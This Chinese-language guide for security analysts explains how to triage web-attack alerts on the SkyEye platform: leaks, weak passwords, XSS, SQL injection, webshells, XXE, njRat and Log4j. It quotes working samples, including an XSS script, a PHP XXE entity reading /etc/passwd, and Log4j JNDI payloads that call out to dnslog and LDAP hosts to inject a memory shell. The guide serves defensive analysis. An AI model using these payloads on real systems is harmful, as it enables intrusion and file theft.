Web攻擊
信息泄露
敏感數據包括但不限于:口令、密鑰、證書、會話標識、License、隱私數據(如短消息的內容)、授權憑據、個人數據(如姓名、住址、電話等)等,在程序文件、配置文件、日志文件、備份文件及數據庫中都有可能包含敏感數據
信息收集方法
漏洞分類
備份文件泄露
天眼告警
可能存在備份文件泄露
漏洞影響
可能導致網站敏感信息泄露,被利用來進一步攻擊等危害
URI中 "1.zip" 觸發規則告警,訪問URI地址,下載備份文件,分析備份文件,判斷漏洞影響
修復建議
刪除該網站目錄下的備份文件
自動目錄列表
天眼告警
發現目錄啟用了自動目錄列表功能
漏洞影響
任何人可以訪問該路下的文件,可能造成敏感信息泄露
響應體中 "Directory" 觸發規則告警,訪問URI地址下目錄文件,分析目錄信息,判斷漏洞影響
修復建議
修改配置文件,禁止目錄列表列出
目錄穿越
天眼告警
目錄穿越漏洞(成功)(機器學習)
漏洞影響
利用此漏洞,黑客可以發現一些敏感信息,包括讀取服務器敏感文件等
請求頭 ../../ 觸發規則告警,
修復建議
禁止目錄遍歷,對輸入參數過濾 ../ 等字符
.svn源碼泄露
天眼告警
漏洞影響
攻擊利用該漏洞,可以獲取到服務器源碼、svn服務器賬號密碼等信息
URI "/.svn/entries" 與響應體svn信息觸發規則告警
修復建議
禁止或刪除 .svn 文件瀏覽
弱口令
密碼過于簡單,不滿足復雜度要求,攻擊者通過窮舉方法嘗試web登錄的帳號名與密碼
密碼復雜度要求:口令長度不得小于8位,且為數字、字母、字符混合組合,用戶名和口令不得相同, 且無明顯規律
漏洞分類
字典
常見的弱口令字典有 默認型弱口令字典 和 社工型弱口令字典
默認型的弱口令包括
- 系統服務弱口令
- 應用組件弱口令
- 設備弱口令
web弱口令
天眼告警
漏洞影響
弱口令容易被人猜解,造成個人信息等數據丟失嚴重者可導致網站被攻陷
請求體中"password=123456"弱口令,服務器返回"success"
修復建議
整改為強密碼
中間件tomcat弱口令
天眼告警
中間件弱口令登錄
漏洞影響
通過弱口令進入中間件后臺可直接部署war包getshell
中間件例如tomcat與basic認證弱口令信息在請求頭 Authorization字段 中,可用base64進行解碼
修復建議
整改為強密碼
暴力猜解
暴力破解法,或稱為窮舉法,是一種針對于密碼的破譯方法
在一些領域,為了提高密碼的破譯效率而專門為其制造的超級計算機,例如,IBM為美國軍方制造的"颶風"就是很有代表性的一個,破解任何一個密碼也都只是一個時間問題
天眼告警
攻擊者在短時間內通過窮舉帳號名與密碼的方法嘗試web登錄,看到暴力猜解的告警要結合流量日志分析溯源判斷是否爆破成功
流量日志
HTTP登陸爆破,協議類型web日志
sip:("攻擊IP") AND dip:("受攻擊系統IP") AND data:("登陸請求賬號字段")
FTP、SMTP、Telnet、SSH、mysql數據庫等登陸爆破,協議登陸動作
sip:("攻擊IP") AND dip:("受攻擊系統IP") AND proto:("爆破協議")
過濾爆破登陸成功
sip:("攻擊IP") AND dip:("受攻擊系統IP") AND proto:("爆破協議") AND NOT (info:fail* OR info:530)
XSS
惡意攻擊者往Web頁面里插入惡意代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的js代碼會被執行,從而達到惡意攻擊用戶的特殊目的
利用 XSS 可以盜取用戶 cookie、xss 結合windows10系統BadCon漏洞可導致系統藍屏
漏洞分類
具體攻擊方流程見之前這篇:
從一開始的網絡攻防(四):XSS-CSDN博客
反射型XSS
天眼告警
跨站腳本攻擊漏洞(腳本引擎)
請求頭"<script>alert(xss)</script>"與響應體"<script>alert(xsss)</script>"觸發規則告警
跨站攻擊分析技巧
如果遇到跨站響應數據比較多,可以將響應體的數據貼出來放到HTML文件里面打開,觀察是否彈窗
如果未彈窗,則在瀏覽器總CTRL+F查找對應未實體化的JS腳本代碼,常見的跨站攻擊代碼如下:
{[[<script]],[[<a]],[[<div]],[[<img]],[[<iframe]],[[<svg]],[[<body]],[[<audio]],[[<form]],[[<isindex]],[[<input]],[[<marquee]],[[<textarea]]}
SQL注入
發生于應用程序與數據庫層的安全漏洞
簡而言之,是在輸入的字符串之中注入SQL指令,在設計不良的程序當中忽略了字符檢查,那么這些注入進去的惡意指令就會被數據庫服務器誤認為是正常的SQL指令而運行,因此遭到破壞或是入侵
漏洞分類
union聯合查詢注入
天眼告警
對SQL注入攻擊成功Payload進行分析,如果服務器返回相應數據庫查詢信息,則判斷攻擊成功
發現成功爆出當前數據庫用戶:root@localhost, SQL注入攻擊成功
布爾盲注
天眼告警
根據響應體長度進行分析判斷是否注入成功,大多布爾盲注攻擊是返回錯誤頁面的,少數是返回正常頁面,利用錯誤頁面長度與正常頁面長度不一致特性進行分析
上面數據包查看數據庫用戶名對應ascii碼值,如果此asci碼值等于真正對應用戶名母ascii值則返回正常頁面,如果不等于則返回錯誤頁面
時間盲注
天眼告警
服務器記錄的響應時間和攻擊注入的時間函數不一致,則攻擊未成功
網站延遲過高也可能會導致告警成功
其中,圖片中最后部分是分析數據,相關描述如下:
Joomla! SQL注入漏洞
天眼告警
Joomla 3.7.0 Core com_fields組件sql注入漏洞(CVE-2017-8917)
通用SQL注入漏洞,大體上也是有回顯與無回顯,可根據服務器響應信息、響應時間、響應長度進行判斷
文件上傳
任意文件上傳漏洞,主要是產生于網站所提供的文件上傳功能,而由于網站沒有嚴格限制文件上傳格式,從而導致可上傳任意的文件格式,特別是腳本木馬 (webshell) 到服務器上,最終獲得服務器的控制權限
漏洞分類
文件上傳
天眼告警
發現腳本文件上傳行為
客戶端請求數據為PHP菜刀木馬,服務器返回信息"success upload"判斷webshell上傳成功
企圖告警分析
天眼告警
發現腳本文件上傳行為
文件上傳企圖告警,根據數據包無法判斷是否上傳成功,可到分析平臺查看是否有腳本文件的訪問記錄,如果有成功訪問腳本文件記錄,則腳本文件上傳成功
流量日志
檢索語法:uri:("webshell文件名")
如果上傳腳本文件被重命名,就篩選出攻擊IP對服務器的web協議的訪問流量進行分析判斷
文件包含
文件包含漏洞的產生原因是在通過PHP的函數引入文件時,由于傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入
方式與函數
文件包含
天眼告警
這種告警比較明顯,不多贅述
webshell
攻擊者在入侵企業網站時,通常要通過各種方式獲取webshell從而獲得企業網站控制權,然后方便進行之后的入侵行為,webshell通用功能包括但不限于shell命令執行、代碼執行、數據庫枚舉和文件管理
webshell分類
哥斯拉
哥斯拉是一個基于流量、HTTP全加密的webshell管理工具,所以從報文很難看出有明顯的攻擊特征,需要結合流量上下文找到哥斯拉webshell上傳成功的流量來進行分析和判斷
天眼告警
首先從Cookie最后的 ; 可以初步判斷為哥斯拉的流量,進一步可以結合分析中心進行分析
流量日志
檢索語法:sip:("攻擊IP") AND dip:("受攻擊系統IP")
冰蝎
冰蝎是一款基于Java開發的動態加密通信流量的新型Webshell客戶端
冰蝎的通信過程可以分為兩個階段:密鑰協商、加密傳輸
天眼告警
發現利用冰蝎Webshell自定義加密通信方式連接ASP后門
重點是對流量包進行分析,查看是否符合冰蝎的通信的特征
命令執行
命令執行漏洞,用戶通過瀏覽器提交執行命令,由于服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令,可能會允許攻擊者通過改變 $PATH 或程序執行環境的其他方面來執行一個惡意構造的代碼
漏洞分類
業務系統功能模塊
天眼告警
通用命令執行漏洞
Struts2命令執行
天眼告警
Struts2-045遠程命令執行漏洞(CVE-2017-5638)
Struts2代碼執行,大多都是在HTTP的請求頭或者請求體插入精心構造的惡意代碼,如執行echo、print、whoami函數
s2-01——s2-057,原理可以參考該文章: 【技術分享】淺談struts2歷史上的高危漏洞-安全KER - 安全資訊平臺
Java框架通用代碼執行
天眼告警
Java通用命令執行成功的告警,有的執行命令的攻擊payload不僅在請求頭中存在,也會在請求體中存在
SQL漏洞注入執行命令
天眼告警
XML實體注入
XXE全稱XML External Entity Injection 即xml外部實體注入漏洞,觸發點多位于xml文件上傳點
xml實體注入一般可以探測內網、讀取系統任意文件,任意文件上傳等
基礎知識
XML用于標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自
己的標記語言進行定義的源語言
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素
漏洞分類
內網存活主機探測
天眼告警
任意文件讀取
天眼告警
漏洞測試
<?php
$xml=<<<EOF<?xml version="1.0"?><! DOCTYPE ANY [<! ENTITY xxe SYSTEM "file,///etc/passwd">]><x>&xxe;</x>EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
文件上傳
流量日志
通過XXE上傳webshell
將data的內容解碼,確定為webshell
網絡攻擊
njRat
發現后門程序 njRat 通信行為如何排查
- 感染了njrat的主機會不斷與攻擊電腦進行連接,訪問一個固定端口
- VHJvam FuXOMONKY2RTk=是他的特征,是base64編碼,解碼后為Trojan_C46F6E9,VHJvamFuXOMONkY2RTk=后面是攻擊的命令,可以看一下是否有外連行為,這里沒有執行其他操作
- Win XP:操作系統信息、0.6.4:Njrat版本
- 0.6.4和endof之前的沒有顯示,若有內容應為base64編碼,是攻擊者相關行為的說明
- endof:結束符
實操
導入告警流量包
登錄天眼流量傳感器,策略配置-抓包檢測-PCAP文件檢測,添加文件后,導入pcap包
天眼告警分析
分析平臺發現告警
1、Apache Log4j2 遠程代碼執行漏洞(CVE-2021-44228/CVE-2021-45046)
2、DNSLog滲透測試活動事件
3、發現利用特定域名帶外DNS請求
查看詳情發現Apache Log4j2 遠程代碼執行漏洞惡意payload: %24%7Bjndi%3Aldap%3A%2F%2F9w0cao.dnslog.cn%7D
通過解碼小助手解密其payload為:${jndi:ldap://9w0cao.dnslog.cn}, 確定這是一個攻擊行為
查看詳情-原始告警,分別點擊詳情,查看其分別執行了命令:whoami
解密小助手解密后:
Payload: ${jndi:ldap://10.43.43.221:1389/TomcatBypass/Tomcat Echo}
注入內存馬:
Payload: ${jndi:ldap://10.43.43.221:1389/TomcatBypass/TomcatMemshell2}
來到分析中心 - 日志檢索 (選擇高級分析-本級-網絡日志-web訪問)
檢索語句:uri:(*jndi*)
攻擊成功情況
判斷dnslog攻擊成功
選擇域名解析,存在源ip與dnslog.com的外聯日志
判斷命令執行攻擊成功
有回顯命令執行,響應體中存在命令執行結果
無回顯命令執行,在源ip與Idap服務ip的外聯日志
判斷內存馬注入攻擊成功
查看此攻擊IP是否訪問內存馬目錄,并執行其他操作,例如執行whoami等
Web攻擊分析小結
企圖告警要不要看?
存在部分攻擊成功事件
企圖類告警中也存在部分攻擊成功的安全事件,如下告警案例:
Struts2-045遠程命令執行漏洞(CVE-2017-5638)
弱口令
弱口令告警,由于客戶現場開發環境復雜,開發不夠規范或者天眼規則沒有匹配到成功的相應字段,一些web登陸的弱口令告警中雖然顯示企圖但已成功登陸,需要認真分析數據包信息或在授權的情況下進行登陸驗證,如下案例:
內網情況
一個內網地址A自動攻擊內網地址B,主機B不存在漏洞沒有攻擊成功,但是內網主機A已中招,如下案例:
0day/Nday
出現最新的攻擊方法時,由于沒有及時更新天眼的規則庫,會導致一些告警出現企圖的告警
告警分析核心要素
說到底還是看請求和響應數據包的數據